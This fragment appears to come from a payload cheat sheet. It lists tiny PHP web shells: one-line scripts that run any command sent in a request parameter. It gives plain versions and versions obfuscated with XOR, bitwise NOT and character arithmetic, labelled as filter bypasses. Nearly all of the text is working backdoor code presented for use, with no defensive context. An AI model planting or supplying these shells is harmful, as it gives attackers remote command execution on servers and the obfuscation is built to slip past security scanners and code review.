PHP - Tiny with bypass: <?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`; PHP - Tiny with obfuscation: # Unobfuscated <?=`$_GET[0]`?> <?=`$_POST[0]`?> <?=`{$_REQUEST['_']}`?> # Obfuscated <?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>